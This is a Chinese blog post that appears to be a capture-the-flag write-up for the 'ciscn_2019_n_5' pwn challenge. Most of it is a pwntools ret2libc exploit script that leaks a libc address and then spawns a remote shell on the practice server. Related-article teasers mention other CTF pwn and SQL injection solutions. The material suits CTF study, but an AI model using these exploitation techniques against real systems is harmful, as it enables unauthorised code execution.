首页 > 其他分享 >ciscn_2019_n_5 1

ciscn_2019_n_5 1

时间:2025-01-14 18:12:19浏览次数:1  
标签:addr p64 puts libc pop 2019 io ciscn

非常normal的ret2libc

点击查看代码
from pwn import *
from LibcSearcher import *
io = remote('node5.buuoj.cn',27414)
#io = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_addr=0x0400713
payload1 = cyclic(0x28) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)+p64(main)
io.sendline(b'aa')
#io.sendline(payload1)
io.sendlineafter('me?',payload1)
#puts = u64(io.recvuntil(b'\xf7')[-8:])
#puts = u64((io.recvline().split(b'\x0a')[0]).ljust(8,b'\x00'))
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
pop_ret_addr=0x04004c9 
payload2 = cyclic(0x28) + p64(pop_ret_addr) +p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) 
io.sendline(b'aa')
#io.sendline(payload2)
io.sendlineafter('me?',payload2)
io.interactive()

标签:addr,p64,puts,libc,pop,2019,io,ciscn
From: https://www.cnblogs.com/fdddddd/p/18671351

相关文章

  • 用于决策的世界模型 -- 论文 World Models (2018) & PlaNet (2019) 讲解
    参考资料:[2411.14499]UnderstandingWorldorPredictingFuture?AComprehensiveSurveyofWorldModels[1803.10122]WorldModelsLearningLatentDynamicsforPlanningfromPixelsKaixhin/PlaNet:DeepPlanningNetwork:Controlfrompixelsbylatentplanning......
  • Microsoft Sql Server 2019 函数理解
    说到函数,首先和存储过程作个比较吧,两者有一个共同点都是预编译优化后存储在磁盘中,所以效率要比T-SQL高一点点。值得注意的是,存储过程可以创建或访问临时表,而函数不可以;同时函数不可以修改表中的数据,或调用产生副作用的函数,比如rand,newid,getdate(当然这并不是绝对的);但是函......
  • ciscn_2019_n_8 1
    checksec一下能发现开了很多保护,吓人一跳,但其实我们分析一下发现只要var[13]为17就可以了if(*(_QWORD*)&var[13])#判断var[13]开始的8字节(_QWORD表示64位,即8字节)内存区域是否非零。*(_QWORD*)&var[13]是将var[13]的地址转换为_QWORD(64位整数)指针,然后解引用得到该内存区域的......
  • Tableau 2019中文版下载:附安装包+详细安装步骤
    如大家所了解的,Tableau是一个可视化分析平台,它改变了我们使用数据解决问题的方式,使个人和组织能够充分利用自己的数据。它帮助用户创建不同的图表、图形、地图、仪表板和故事来可视化和分析数据,以帮助做出业务决策。使用Tableau生成的数据因其易于理解的格式而易于各个级别的......
  • Matlab2019a安装C2000 Processors超详细过程
    ⭐1.环境搭建⭐链接1EmbeddedCoderSupportPackageforTexasInstrumentsC2000Processors-FileExchange-MATLABCentral......
  • SQL Server 2019 的完整安装步骤
    一、下载SQLServer2019安装包•访问Microsoft官方下载中心页面:[SQLServer2019下载]()。•选择适合的版本进行下载,例如Developer版本。•下载完成后,解压安装包。二、安装SQLServer2019•关闭防火墙:为了确保安装过程顺利,建议暂时关闭WindowsDefender防火......
  • 2019浙教版 高中信息技术 必修1 数据与计算《第一章 数据与信息》大单元整体教学设计[
    2019浙教版高中信息技术必修1数据与计算《第一章数据与信息》大单元整体教学设计[2020课标]一、内容分析与整合二、《普通高中信息技术课程标准(2017年版2020年修订)》分解三、学情分析四、大主题或大概念设计五、大单元目标叙写六、大单元教学重点七、大单元教学难点八......
  • [极客大挑战 2019]HardSQL 1
    看了大佬的wp,没用字典爆破,手动试出来的,屏蔽了常用的关键字,例如:orderselectunionand最搞的是,空格也有,这个空格后面让我看了好久,该在哪里加括号。先传入1’1试试,发现提示报错:其实这里提示了报错信息,就可以试一试报错注入了,当然这是事后诸葛亮,还是常规的注入试试,发现行不......
  • Luogu P9646 SNCPC2019 Paper-cutting 题解 [ 紫 ] [ manacher ] [ 贪心 ] [ 哈希 ] [
    Paper-cutting:思维很好,但代码很构式的manacher题。蒟蒻2025年切的第一道题,是个紫,并且基本独立想出的,特此纪念。判断能否折叠我们先考虑一部分能折叠需要满足什么条件。显然,这一部分需要是一个长度为偶数的回文串。那么横向和纵向会不会影响呢?答案是不会,因为横向折了之后,折......
  • [PA2019] Desant Solution
    [PA2019]DesantSolution原题链接。题目大意:给定一个长为\(n(n\le40)\)的排列,对于每个\(i\)求出长度为\(i\)的子序列逆序对最少有多少,并且求出有多少个长度为\(i\)的子序列逆序对最少。解题思路:首先有一个暴力的做法,设\(f_{i,S}\)表示考虑完前\(i\)个数,选择了集......